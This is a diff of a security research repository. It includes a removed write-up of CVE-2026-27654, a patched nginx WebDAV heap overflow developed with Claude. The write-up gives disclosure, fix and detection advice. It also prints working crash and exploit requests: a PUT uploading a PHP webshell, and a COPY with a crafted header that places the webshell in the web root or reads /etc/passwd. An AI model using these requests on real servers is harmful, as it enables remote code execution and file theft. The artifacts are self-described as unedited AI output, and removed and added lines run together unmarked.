@@ -91,6 +91,12 @@ Not weaponized. No PAC bypass, sandbox escape, or kernel stage. The PoC
demonstrates `read64`/`write64` against your own JSC build and stops there.
The bug was patched in January 2024 and has been public since.
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
`Stage1-writeup.md` is the one exception in this directory: it is joint work by humans and AI.
## Acknowledgments
Builds on RE work by Huy Nguyen, wh1te4ever, Duy Tran, Nathan, hrtowii,
+4
View File
@@ -150,3 +150,7 @@ Three independently-effective changes. Either of the Ghidra-side fixes blocks th
- 2026-04-16: Bug confirmed and reported to NSA Ghidra team
- 2026-04-21: Details published as part of MAD Bugs
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+5
View File
@@ -276,3 +276,8 @@ if (sigBytes == null) {
* 2026-04-08 15:40: Blog post published
* 2026-04-08 16:03: [PR](https://github.com/NationalSecurityAgency/ghidra/pull/9109) opened, issue reported
* 2026-04-09 22:00: Fix [merged](https://github.com/NationalSecurityAgency/ghidra/commit/8ca0226f11e547fabc46566905c8951fe6db4344) into ghidra 12.1
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+5
View File
@@ -27,3 +27,8 @@ python3 genpoc.py
unzip poc.zip
cat readme.txt
```
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+5
View File
@@ -170,3 +170,8 @@ Independently, Ladybird should gate `WebAssembly.Memory({shared: true})` and `Sh
- 2026-04-21: Reported to the Ladybird maintainers with PoCs
- 2026-04-23: Filed publicly at maintainers' request as [ladybird#9062](https://github.com/LadybirdBrowser/ladybird/issues/9062)
- 2026-04-24: Published as part of MAD Bugs
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+7 -589
View File
@@ -1,595 +1,13 @@
# Claude + Humans vs nginx: CVE-2026-27654
>We'd like to acknowledge Claude, Anthropic Research, NGINX developers and F5 PSIRT for partnering with us on this. It was a pleasant experience.
Heap buffer overflow in `ngx_http_dav_copy_move_handler()` driven by an unsigned underflow in `ngx_http_map_uri_to_path()`. Crash from Claude, exploits from human/Claude collaboration.
By now we know AI can find [real](https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude) [vulnerabilities](https://blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero) and write [working](https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd) [exploits](https://blog.calif.io/p/mad-bugs-feeding-claude-phrack-articles). That part is no longer surprising.
The more interesting question is the human role. Where does human expertise still matter when the initial bug report is already correct? What separates a crash from a real exploit? What does collaboration look like in practice, on a real vulnerability with a real fix and a real disclosure?
CVE-2026-27654 is a useful case. The bug needs a non-default config: `ngx_http_dav_module` compiled in, and a `location` combining `alias` with `dav_methods COPY` or `MOVE`. The exposed population is small. Inside that population the bug is severe.
Claude flagged it correctly: a heap buffer overflow in `ngx_http_dav_copy_move_handler()`, driven by an unsigned underflow in `ngx_http_map_uri_to_path()` when the `Destination` header is shorter than the location prefix. Claude provided a working crash:
```
COPY /dav/x HTTP/1.1
Host: localhost
Destination: /da <-- shorter than "/dav/" -> underflow
```
That crashes a worker. Whether it can do more than that is a harder question, and at least for now, answering it takes a human.
What it does, when it works: it escapes the WebDAV root. The `alias` directive is supposed to be a jail; a COPY against `location /dav/ { alias /var/dav/uploads/; }` should only ever touch files under `/var/dav/uploads/`. The bug lets a remote attacker read or write files anywhere the worker UID can reach.
Three of us worked through this with Claude independently, each in our own session, comparing notes between rounds. The independence mattered: the same prompt to two different Claude conversations produced one "impossible" and one working exploit (more on that under Round two). The first exploit out of the gate was a clean repro we could ship to F5; the refinements that followed came from looking at what each of us had built and asking which precondition felt least likely to exist on a real target.
**Round one: aim high** ([PoC-1, §5](#5-poc-1-the-write-path)). Arbitrary file write with attacker-chosen content. PUT a webshell under the WebDAV root, then trigger the overflow on COPY to copy it to `/var/www/html/x.php`. Claude built it; it worked. But the heap groom needs the source-path buffer pushed into a separate `malloc()` block, which means a request URI over 4000 characters, which means the PUT must land in a directory tree twenty levels deep with ~200-character folder names. nginx builds that tree if you set `create_full_put_path on`, but "the server accepts arbitrarily long PUT paths" is not a precondition you find often.
**Round two: give up on write** ([PoC-2, §6](#6-poc-2-the-read-path)). The question we put to Claude:
> *We don't actually need to write our own bytes. If we control both the source and the destination of the COPY, can we copy a file that already exists, like `/etc/passwd`, into a download folder we can fetch it from?*
Two of us asked independently. One Claude said it was impossible. The other produced a working exploit first try: a single COPY, short URI so the source path stays in the request pool adjacent to the destination, and the same overflow rewrites *both* paths at once. That became PoC-2.
The first thing we tested after it worked was whether it was as clean as it looked. The draft of this writeup said the worker "never crashes."
> *This is not true, right? Because the second PoC did crash workers if memcpy didn't hit that lucky condition.*
It hadn't checked. We made it sweep all 16 alignment residues; two of them crash before any file is touched. The "never" became "on 14 of 16 alignments."
Then the constraint. The traversal injected into the source path is 20 characters, fixed by the header structure. Claude's first count of how those 20 split was wrong:
> *With a 3-level surviving prefix you spend 12 characters on `/../../../` and have 8 left for the filename. Is this a correct assessment?*
It wasn't. `/../../../` is 10, not 12; `etc/passwd` is 10, not 8. (Note to self: never ask Claude to file our tax returns.) Ten and ten, and `etc/passwd` fits exactly. We asked whether the constraint itself could be stretched and the answer was: not by changing the URI length (both endpoints of the controlled window shift together), but yes by tuning the *header-key* lengths, which we ended up doing in §6.3.
**Round three happened while we were writing this document** ([slash-padding variant, §5.6](#56-variant-slash-padding-when-merge_slashes-off-is-set)). We were fact-checking why the deep PUT tree in PoC-1 is unavoidable, and the chain went like this:
> *Can you do something like this to artificially expand the length? `COPY /etc/../etc/../etc/../etc/../passwd HTTP/1.1`*
No. nginx normalizes `..` before `r->uri.len` is set; the padding gets stripped.
> *Does it also normalize the source path in `COPY <source_path>`? We want a long source-path string to push it into its own malloc, but at the same time we want it to resolve to a short path on the filesystem. Is that possible?*
That was the question that mattered. Claude tested `/.`, `//`, `%2e%2e`: all collapsed. Then it tried `merge_slashes off`. With that one directive, nginx stops collapsing `//` but the kernel still does (POSIX path resolution). So `/dav/` + 4000 slashes + `p.php` is a 4010-character URI to nginx and the same inode as `/dav/p.php` to `lstat()`. Worked first try. The deep tree, `create_full_put_path`, the long folder names: all gone, traded for one line of config that exists in the wild for unrelated reasons.
So three variants, each one found by asking what's actually load-bearing in the previous one's preconditions. The most ambitious primitive came first and was the most expensive; the simplest deployment story came last and only because we were poking at why the expensive one was expensive.
| | Primitive | Key constraint | Code |
|---|---|---|---|
| [§5 PoC-1](#5-poc-1-the-write-path) | write | `create_full_put_path on` + accepts deep PUT paths | [`poc-1/poc.py`](poc-1/poc.py) |
| [§5.6 variant](#56-variant-slash-padding-when-merge_slashes-off-is-set) | write | `merge_slashes off` | [`poc-1/poc_slashes.py`](poc-1/poc_slashes.py) |
| [§6 PoC-2](#6-poc-2-the-read-path) | read | none beyond `dav_methods COPY`, but 20-byte traversal constraint | [`poc-2/poc_src.py`](poc-2/poc_src.py) |
**A pattern we noticed: left to itself, Claude reached for the most powerful primitive and accepted whatever preconditions came with it.** The first exploit was file write, the strongest thing the bug could give, and it worked, and it would also almost never apply to a real server. The two moves that made the bug *practically* dangerous were both human: stepping *down* to a weaker primitive (file read) to shed preconditions, and then much later, asking whether one of the original preconditions was even real. Claude could test those ideas faster than we could, but it didn't generate them. Maybe that's just because nobody told it that "works in a Docker container we built" is not the same as "works on a server someone else runs"; maybe that judgment is harder to teach than the heap layout. Either way, the division of labour was consistent: we picked which constraint to attack, it did the byte-level work to attack it.
The issue was disclosed to F5, which fixed it and published an [advisory](https://my.f5.com/manage/s/article/K000160382) acknowledging:
> Calif.io in collaboration with Claude and Anthropic Research for bringing this issue to our attention and following the highest standards of coordinated disclosure.
| Date | Event |
| File | What |
|---|---|
| 2026-02-XX | Vulnerability discovered |
| 2026-03-10 | Reported to F5 / nginx security team |
| 2026-03-11 | F5 acknowledged the report |
| 2026-03-24 | nginx 1.29.7 released with [fix](https://github.com/nginx/nginx/commit/9739e755b8dd); F5 advisory [K000160382](https://my.f5.com/manage/s/article/K000160382) published; CVE-2026-27654 assigned |
| 2026-03-24 | Fix commit independently noticed at [spaceraccoon/vulnerability-spoiler-alert#102](https://github.com/spaceraccoon/vulnerability-spoiler-alert/issues/102) |
| 2026-04-10 | This writeup published |
| [`blog.md`](blog.md) | Blog post (written by humans) |
| [`poc-1/`](poc-1) | Write-path PoC: arbitrary file write via PUT + COPY |
| [`poc-2/`](poc-2) | Read-path PoC: copy attacker-chosen source file into a fetchable location |
Two of those rows are the same date. The fix landed in public on the 24th; an AI-powered commit watcher read the diff the same day and produced a crashing PoC on its own, before any advisory text named the affected module. The patch window for this bug, the time between "fix is public" and "exploit is reproducible by someone watching commits", was zero days.
## A note on the artifacts
That's the other half of what AI changes about vulnerability research, and it cuts the opposite direction from everything above. AI made finding and developing this exploit cheaper for us; it made reproducing the bug cheaper for everyone watching commits. Those two facts together collapse the patch window from both ends. Coordinated disclosure assumes a gap between fix and weaponization that is now an automation target.
| | |
|---|---|
| **CVE** | [CVE-2026-27654](https://www.cve.org/CVERecord?id=CVE-2026-27654) |
| **Bug class** | Heap Buffer Overflow (CWE-122) via Integer Underflow (CWE-191) |
| **Affected** | nginx with `ngx_http_dav_module`, `alias` + `dav_methods COPY/MOVE` |
| **Fixed in** | [1.29.7](https://github.com/nginx/nginx/commit/9739e755b8dd) (2026-03-24) |
| **Vendor CVSS** | [8.2 HIGH](https://nvd.nist.gov/vuln/detail/CVE-2026-27654) (v3.1) / 8.8 HIGH (v4.0) |
## CVE-2026-27654: nginx DAV Heap Overflow to Arbitrary File Read and Write
1. [Summary](#1-summary)
2. [Impact](#2-impact)
3. [Recommendations](#3-recommendations)
4. [The Vulnerability](#4-the-vulnerability)
5. [PoC 1: The Write Path](#5-poc-1-the-write-path)
6. [PoC 2: The Read Path](#6-poc-2-the-read-path)
7. [References](#references)
---
## 1. Summary
WebDAV ([RFC 4918](https://datatracker.ietf.org/doc/html/rfc4918)) extends HTTP with file management methods. nginx's `ngx_http_dav_module` implements PUT, DELETE, MKCOL, COPY, and MOVE. COPY and MOVE take a `Destination` header naming the target path. The `alias` directive maps a URL prefix to a filesystem directory; all DAV operations are supposed to stay inside that directory.
The DAV handler resolves the destination path by temporarily swapping `r->uri` with the `Destination` header value and calling `ngx_http_map_uri_to_path()`. That function appends the URI tail to the alias root with a `memcpy` whose count is `r->uri.len - alias`. When the `Destination` is shorter than the location prefix, the count underflows to near `SIZE_MAX`. On aarch64 glibc, there's a high chance (most source-pointer alignments) that this memcpy resolves to a bounded scattered write instead of a crash: roughly 130 bytes get copied into the request pool around the destination-path buffer, sourced from the header bytes surrounding `Destination`. The attacker chooses those bytes.
The corruption window covers the destination path buffer and the bytes immediately preceding it in the request pool, which under a short request URI is the source path buffer. Both arguments to `ngx_copy_file()` can therefore be attacker-supplied: the destination becomes an absolute filesystem path with no `alias` prefix at all, and the source can be rewritten into a `..`-traversal that the kernel resolves at `open()` time. nginx's path traversal checks ran against the original `Destination` header and the original request URI; the corrupted strings exist only in heap memory and were never validated.
`ngx_http_dav_module` is optional and not compiled by default; it requires `--with-http_dav_module` at build time. The vulnerable surface is any `location` block that combines `alias` with `dav_methods COPY` or `MOVE`.
## 2. Impact
Both primitives operate on absolute filesystem paths **outside** the configured WebDAV root. The `alias` root never appears in the corrupted path; its only role is its *length*, which sets how many characters of the escaped path the attacker controls (`root.len - alias_len - 15`).
| Configuration | Primitive | Requests | Worker | PoC |
|---|---|---|---|---|
| `alias` + `dav_methods COPY` | file **read** outside the alias root | 1 | survives on most alignments | [§6](#6-poc-2-the-read-path) |
| above + `merge_slashes off` + one file under the alias root | file **write** outside the alias root | 1 (or 2 with PUT) | crashes after write | [§5.6](#56-variant-slash-padding-when-merge_slashes-off-is-set) |
| above (without `merge_slashes off`) + `dav_methods PUT` + `create_full_put_path on` | file **write** outside the alias root | 2 | crashes after write | [§5](#5-poc-1-the-write-path) |
**Read primitive (PoC-2).** A single COPY request, with no file ever placed under the alias root, copies any file the worker UID can open to an attacker-chosen path. When the bounded memcpy path activates (most source alignments), the worker survives and re-enters keepalive. The nginx debug log records the source path *before* corruption, so the log shows a copy from a nonexistent file while `open()` reads `/etc/passwd`. Nothing in any nginx log mentions the file that was actually read.
**Write primitive (PoC-1 and the §5.6 variant).** Get a file under the alias root, then COPY it out. The COPY's corrupted destination is `/var/www/html/x.php`; the file lands mode `0644`, which PHP-FPM will execute. The constraint is the parent directory: `/var/www/html` is `root:root 755` on a stock install, so the worker UID needs write access there (common on PHP CMS hosts where the docroot has been chowned to `www-data`). nginx writes the file and returns HTTP 204 before the worker crashes; with `master_process on` the master respawns it.
The two write variants differ only in *how* the source-path buffer gets pushed into a separate `malloc()` block, which is what keeps it intact while the destination is corrupted. PoC-1 does it the brute-force way: a 4030-character request URI built from a deep PUT into twenty nested directories, requiring `create_full_put_path on`. The §5.6 variant does it by exploiting a parser asymmetry: with `merge_slashes off`, nginx keeps consecutive slashes in `r->uri` but the kernel collapses them at `lstat()` time, so a URI of `/dav/` plus 4000 slashes plus `p.php` is 4010 characters to the allocator and one short file to the filesystem. One non-default config line replaces the deep tree, `create_full_put_path`, and the requirement that nginx accept arbitrarily long folder names.
The exposed population is narrower than "all nginx WebDAV deployments": the bug needs `alias` specifically (not `root`) combined with DAV COPY or MOVE. Within that population the bar is low.
**Both primitives are tightly bounded by the target's nginx config.** The attacker does not get to choose the path-length constraint; it falls out of `root.len` and `alias`, which are whatever the deployed `nginx.conf` says. The destination path constraint is `root.len - alias - 15` characters, period. With a short alias root (say, `alias /srv/dav/`, 9 chars) and `location /d/` (3 chars), the constraint is `9 - 3 - 15 = -9`: there is no exploit. Both PoCs use a 39-character alias root, realistic for containerized or deeply-nested deployments but not universal.
The read primitive is constrained twice over. The destination-path constraint limits where you can put the leaked copy. The source-path traversal must fit a separate constraint (in PoC-2's layout, 20 bytes) that includes both the `..` segments needed to escape the surviving prefix's directory depth *and* the path from filesystem root to the target file:
| Surviving prefix depth | Traversal | Bytes left for path-from-root | Reachable |
|---|---|---|---|
| 2 levels | `/../../` (7) | 13 | most things in `/etc`, `/var/log/syslog` |
| 3 levels (PoC-2) | `/../../../` (10) | 10 | `etc/passwd`, `etc/shadow`, `etc/hosts` |
| 4 levels | `/../../../../` (13) | 7 | almost nothing useful |
| 5 levels | `/../../../../../` (16) | 4 | nothing |
The depth is fixed by the alias root's first ~23 characters, which the attacker does not choose. A target with `alias /opt/myapp/data/storage/dav/...` has a 5-level surviving prefix and is effectively unreadable even though the underflow fires. An attacker against a real target gets exactly one constraint and has to find a useful file that fits it.
## 3. Recommendations
**Upgrade to nginx 1.29.7 or later.** The [fix](https://github.com/nginx/nginx/commit/9739e755b8dd) rejects COPY/MOVE requests where the `Destination` URI is shorter than the alias location name:
```c
if (clcf->alias
&& clcf->alias != NGX_MAX_SIZE_T_VALUE
&& duri.len < clcf->alias)
{
ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
"client sent invalid \"Destination\" header: \"%V\"",
&dest->value);
return NGX_HTTP_BAD_REQUEST;
}
```
From the [CHANGES](https://nginx.org/en/CHANGES) entry:
> Security: a buffer overflow might occur while handling a COPY or MOVE request in a location with "alias", allowing an attacker to modify the source or destination path outside of the document root (CVE-2026-27654).
**If you cannot upgrade immediately:**
- Remove `COPY` and `MOVE` from `dav_methods` in any `location` that uses `alias`. PUT, DELETE, and MKCOL are not affected.
- Audit configurations for the combination of `alias` and `dav_methods COPY` or `MOVE`. The `root` directive is not affected.
**Detection.** Look for COPY or MOVE requests where the `Destination` header is shorter than the matched location prefix. In access logs this appears as a request with an unusually short `Destination` value (one to four characters). Worker crashes immediately following a 204 response to COPY are a secondary signal for the write primitive; the read primitive crashes before any file I/O on a small fraction of source alignments and is silent on the rest.
## 4. The Vulnerability
The DAV handler [`ngx_http_dav_copy_move_handler`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L536) maps both the source and destination URIs to filesystem paths by calling `ngx_http_map_uri_to_path()` twice: once with the original `r->uri` ([line 693](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L693)), then again after [swapping `r->uri`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L701) for the parsed `Destination` value ([line 703](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L703)). The swap does not re-validate the new URI's length against the alias.
`ngx_http_map_uri_to_path()` builds the path by copying the alias root and then appending the URI's tail. The "tail" is the URI with the location prefix stripped: for a request to `/dav/foo/bar` against `location /dav/`, nginx wants to append `foo/bar` to the alias root. It computes that by skipping the first `alias` bytes of the URI, where `alias` is the length of the location prefix:
| Variable | What it is | PoC value |
|---|---|---|
| `alias` | length of the `location` prefix | `len("/dav/") = 5` |
| `duri` | the parsed `Destination` header value | `"/da"`, so `duri.len = 3` |
| `r->uri` | nginx's current-URI struct, swapped to `duri` for the dest map | `r->uri.len = duri.len = 3` |
The append at [line 1987](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/ngx_http_core_module.c#L1987) is:
```c
last = ngx_copy(last, r->uri.data + alias, r->uri.len - alias);
^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^
skip the prefix copy what's left
```
`ngx_copy` is a thin wrapper around `memcpy`. The third argument is the byte count: `r->uri.len - alias` = "URI length minus prefix length" = "how many bytes are left after the prefix". For a normal URI like `/dav/foo` that's `8 - 5 = 3` bytes (`foo`). For the swapped-in `duri = "/da"`, it's `3 - 5 = -2`, cast to `size_t` as `0xfffffffffffffffe`.
The deficit (how many bytes the `Destination` is *short* of the prefix) and the count are the same subtraction with the sign flipped:
```
deficit = alias - duri.len = 5 - 3 = 2 (how short the Destination is)
count = duri.len - alias = 3 - 5 = -2 (how many bytes "remain": negative)
```
The call becomes `memcpy(path + root.len, duri + alias, ~SIZE_MAX)`.
> The PoCs use `Destination: /da` (deficit = 2), but `/dav` (deficit = 1) triggers the same memcpy with one fewer crash residue (15/16 alignments instead of 14/16).
`path` here is the destination-path buffer that `ngx_pnalloc` just returned from the **request pool** (`r->pool`, a 4096-byte bump-allocated arena that lives for one request). `duri` points into the **HTTP header buffer** (`c->buffer`, allocated from the connection pool when nginx first read the request line); it is the address of the `/` in `Destination: /da` inside the raw, parsed-in-place header bytes. These two are completely separate allocations, roughly 70 KiB apart in our runs:
```
heap, low addresses
┌──────────────────────────────────┐
│ c->buffer (header buffer, 1 KB) │ duri.data points here, at the '/' in "/da"
│ ...X-Pad: /var/.../x.php\0\n... │ the bytes BEFORE duri.data are the X-Pad
│ ...Destination: /da\0... │ header that the attacker sent
└──────────────────────────────────┘
~70 KiB
┌──────────────────────────────────┐
│ r->pool (request pool, 4 KB) │ path->data points here
│ ...[src path][dest path][free] │ memcpy WRITES here, around dest path
└──────────────────────────────────┘
heap, high addresses
```
So the memcpy is a **cross-allocation copy**: it reads attacker-chosen bytes from the header buffer and writes them into the request pool. The two regions never overlap; neither pointer ever needs to walk far from where it started for the attack to work.
### Why memcpy with a near-SIZE_MAX count usually doesn't crash
On aarch64 the IFUNC resolves to glibc's `__memcpy_generic`. To see why a 2^64-byte count doesn't immediately fault, it helps to know how the function is structured for normal inputs:
1. **Compute end pointers**: `srcend = src + count`, `dstend = dst + count`. These anchor the "last bytes" copies later.
2. **Dispatch on size**: tiny copies (< 16 bytes) use one or two scalar loads; small copies (< 128 bytes) use a few SIMD load/store pairs; large copies fall through to the long-copy path.
3. **Long-copy path**: align `src` down to a 16-byte boundary, **add the alignment offset back to `count`** (so the loop accounts for the bytes "wasted" reaching alignment), do one unaligned head store, then enter the main loop copying 64 bytes per iteration with aligned loads.
4. **Tail**: when the loop drains, copy the last 64 bytes using `[srcend - 64]` and `[dstend - 64]` addressing. This handles the unaligned remainder. The head and tail deliberately overlap the loop's range so no edge-case gap is left.
The danger is step 3's main loop: with `count` near 2^64 it would iterate forever, walking `src` off the end of the header buffer's page and faulting. The function survives because two arithmetic wraps, in steps 1 and 3, tame the count before the loop is reached. The walkthrough below uses the PoC's parameters: `alias = 5`, `duri.len = 3`, deficit = `alias - duri.len` = **2**, so `count = -2`.
**Wrap 1 (step 1): end pointers stay local.** `srcend = src + 0xfffffffffffffffe` wraps to `src - 2`, and likewise `dstend = dst - 2`. Every instruction that reads from `[srcend - N]` or writes to `[dstend - N]` is therefore reaching a few bytes *below* where it started, not exabytes away. The tail-copy machinery is already pointed somewhere safe.
**Wrap 2 (step 3): the count becomes tiny.** The alignment-fixup `count += src & 0xf` adds a value in `[0, 15]`. With `count = -2` and `src & 0xf >= 2`, the sum wraps past zero into the small positive range (e.g. `-2 + 14 = 12`). The main loop is skipped because the count is now too small to enter it, and the function falls straight through to the tail.
The result: no loop iteration runs, and the only stores that fire are the head, two leftover prologue flushes, and the 64-byte tail. The head and prologue write *forward* from `dst` into unallocated pool space and are noise. **The tail writes backward.** It's anchored at `dstend - 64`. Since `dst = path + root.len` (one past the root-prefix copy) and `dstend = dst - deficit = dst - 2`, the tail starts at `dst - 2 - 64 = path + root.len - 66`. With `root.len = 39` that's `path[-27]`: 27 bytes reach behind the buffer into whatever the request pool allocated immediately before it, and the remaining 37 bytes of the 64 land inside.
That backward reach is the entire exploit. What sits in those 27 bytes depends on the previous `ngx_pnalloc` call, which was the source-path mapping. Whether the source path lives in the request pool (adjacent, gets corrupted too) or in a separate `malloc` block (far away, safe) is decided by its size relative to `r->pool->max = 4016` bytes. The request URI length controls that size. §5 and §6 show the exact byte landings for each layout.
The condition for wrap 2 holds on most of the 16 possible source alignments; on the few it doesn't (when `src & 0xf` is less than the deficit), the count stays huge, the loop runs, and the worker SIGSEGVs in step 3 before any file is touched.
| | PoC-1 (§5) | PoC-2 (§6) |
|---|---|---|
| URI length | ~4030 chars | 15 chars |
| Source path size | ~4065 B (> 4016) | 50 B (<= 4016) |
| Source path lives in | malloc | request pool |
| `dest_path[-27..-1]` overlaps | `ngx_pool_large_t` tracker | source path tail |
| Source path after overflow | intact | rewritten to `/../../../etc/passwd` |
| Primitive | write (copy what you uploaded) | read (copy what already exists) |
| Worker | crashes after 204 | survives on most alignments |
---
## 5. PoC 1: The Write Path
Two unauthenticated requests against a WebDAV location with `alias` + `dav_methods PUT COPY` + `create_full_put_path on`. The PUT uploads a PHP webshell into a deeply nested directory under the alias root. The COPY redirects that file to `/var/www/html/x.php`.
```
PUT /dav/d00_xxx...xxx/d01_xxx...xxx/.../d19_xxx...xxx/p.php HTTP/1.1
Host: 127.0.0.1:9080 ^^^^^^^^^^^^^^
Content-Length: 29 ~4030-char URI: 20 segments
of ~200 chars each. This
<?php system($_GET['c']); ?> pushes the source-path
allocation past pool->max.
----- nginx returns 201 Created, then on the same connection: -----
COPY /dav/d00_xxx...xxx/d01_xxx...xxx/.../d19_xxx...xxx/p.php HTTP/1.1
Host: 127.0.0.1:9080
X-Pad: /var/www/html/x.php <-- last 19 bytes become dest_path[0..18]
Destination: /da <-- 3 chars vs alias /dav/ (5) -> underflow
```
`X-Pad` is an arbitrary header name the attacker invents. nginx parses it, stores it in the headers list, and ignores it. Its job is to put the bytes `/var/www/html/x.php` at a specific offset in the header buffer: immediately before `Destination` so that the memcpy tail picks them up. Any header name works; the value's position is what matters.
### 5.1 Configuration requirements
| Constraint | Detail |
|---|---|
| `dav_methods PUT COPY` | PUT to upload the payload, COPY to escape with it. |
| `create_full_put_path on` | The deep PUT path needs nginx to create intermediate directories. |
| Alias root length | `root.len >= len(target) + alias + 15`. With `/dav/` (5) and a 19-char target: `root.len >= 39`. The PoC uses `/home/ubuntu/aaa...a/` (39 chars). |
| `/var/www/html` writable by worker | Default Debian/Ubuntu: `root:root 755` (fails). Common on PHP CMS hosts where the docroot was chowned to `www-data`. The PoC's Dockerfile creates this directory; on a real target this is the precondition that decides whether the write primitive is interesting. |
| PHP runtime serving `/var/www/html` | PHP-FPM does not check `+x`; the file lands as `0644` and is executable. |
### 5.2 Memory layout
The deep PUT path creates a request URI of ~4030 characters. When the COPY arrives with the same URI, the source-path mapping at [`dav_module.c:693`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L693) computes:
```
source_path size = root.len + uri.len - alias + 1 = 39 + 4030 - 5 + 1 = 4065 bytes
```
The cutoff for in-pool allocation is `r->pool->max`, set at pool creation to `min(request_pool_size - sizeof(ngx_pool_t), NGX_MAX_ALLOC_FROM_POOL)` = `min(4096 - 80, 4095)` = **4016** ([`ngx_palloc.c:34`](https://github.com/nginx/nginx/blob/release-1.29.5/src/core/ngx_palloc.c#L34)). 4065 > 4016, so `ngx_pnalloc` calls `ngx_palloc_large()` which calls `malloc()`. The source path lands in a separate heap block.
`ngx_palloc_large()` leaves a footprint, though: it allocates a 16-byte `ngx_pool_large_t {ngx_pool_large_t *next; void *alloc;}` tracker node *in the request pool* before returning the malloc'd block. The next `ngx_pnalloc`, for the destination path, returns the bytes immediately after that tracker. The destination-path size is computed by the same formula, but with the swapped-in `Destination` value as the URI:
```
dest_path size = root.len + duri.len - alias + 1 = 39 + 3 - 5 + 1 = 38 bytes
```
38 ≤ 4016, so dest_path stays in the pool.
```
malloc heap (a third allocation; not the
header buffer, not the request pool)
┌────────────────────────────────────┐
│ source_path (4065 B) ← UNTOUCHED │
│ "/home/ubuntu/aaa.../d00_.../p.php"│
└────────────────────────────────────┘
request pool (r->pool, 4096 bytes, max=4016)
┌─────────┬────────────────────┬───────────────────────┬──────┐
│ prior │ ngx_pool_large_t │ dest_path (38 B) │ free │
│ data │ {next, alloc} 16 B │ │682 B │
└─────────┴────────────────────┴───────────────────────┴──────┘
↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ ↑↑↑ ↑↑↑↑
tail store: dest[-27..36] = HERE forward stores: dest[39..]
land in free space (benign)
```
### 5.3 What memcpy does
The `Destination: /da` header gives `duri.len = 3`, `alias = 5`, deficit = 2. The destination-path mapping at L703 calls:
```
memcpy(dest_path + 39, duri.data + 5, 0xfffffffffffffffe)
```
`__memcpy_generic` wraps `dstend` to `dest_path + 37` and the count to `(src & 0xf) - 2`. The bounded tail writes 64 bytes at `dest_path[37 - 64 .. 37 - 1] = dest_path[-27..36]`, sourced from `duri.data[3 - 64 .. 3 - 1] = duri[-61..2]`, the parsed header bytes immediately preceding `/da`. The byte mapping is `dest_path[i] = duri[i - root.len + alias] = duri[i - 34]`.
**What we want is for `dest_path` to read as `/var/www/html/x.php` to anything that treats it as a C string.** That means controlling `dest_path` from byte 0 onward, and getting a `\0` immediately after the path. The byte mapping tells us where to place each:
```
dest_path[i] = duri[i - 34] so dest_path[0] = duri[-34]
dest_path[1] = duri[-33]
...
```
So the *first* byte of the corrupted path comes from `duri[-34]`, i.e., 34 bytes before the `/` in `/da` in the raw header buffer. Walking backward from `duri[0]`, the bytes between the X-Pad value and `/da` are fixed by the HTTP wire format and nginx's in-place parsing ([ngx_http_request.c:1507](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/ngx_http_request.c#L1507) zeroes the `\r` after each value, [:1503](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/ngx_http_request.c#L1503) zeroes the `:` after each key):
```
duri[-15] duri[-14] duri[-2] duri[-1] duri[0]
| | | | |
...X-Pad: <value> \0 \n D e s t i n a t i o n \0 <space> / d a ...
^ ^
was \r was :
(parser-zeroed) (parser-zeroed)
|<------------------ 15 bytes ------------------->|
```
The 15 bytes between `duri[-15]` and `duri[-1]` are protocol overhead: 1 space + 1 NUL (was `:`) + 11 chars of `Destination` + 1 `\n` + 1 NUL (was `\r`). DAV always uses the literal header name `Destination`, so the 15 is a constant. That means:
- `duri[-15]` is the first NUL we can't avoid. It lands at `dest_path[-15 + 34] = dest_path[19]`. **The C string is forcibly terminated at byte 19.**
- `duri[-16]` through `duri[-34]` are the last 19 bytes of the X-Pad value (the only attacker-controlled bytes between the two NULs). They land at `dest_path[18]` down to `dest_path[0]`. **Those 19 bytes are the entire path.**
So the constraint is **`root.len - alias - 15` characters**: with `root.len = 39` and `alias = 5`, that's 19. The PoC sends `X-Pad: /var/www/html/x.php` (19 chars exactly), and `dest_path` reads as `/var/www/html/x.php\0\nDestination\0 /da...` to `printf` and `open()` alike.
**What if you want a longer target path?** The 15 is fixed and `alias` is set by the target's `location` block, so the only knob is `root.len`. A longer alias root shifts `dest_path[0]` to a more-negative `duri` offset, deepening the controlled window. With `root.len = 50` you'd get `50 - 5 - 15 = 30` characters, enough for `/var/www/wordpress/wp-load.php`. **The attacker doesn't control `root.len`**; it's whatever the deployed nginx config says. Longer alias paths are common (containerized deployments often use paths like `/opt/app/data/uploads/webdav/`), but it's a property of the target, not a parameter of the attack.
The forward stores write `dest_path[39..104]` from `duri[5..70]` (bytes after `/da\r\n`, mostly buffer slack). They land in pool free space.
The tail's lower half (`dest_path[-27..-1]`) overwrites the `ngx_pool_large_t` tracker, which is what crashes the worker after the file is written (step 6 below).
### 5.4 Sequence
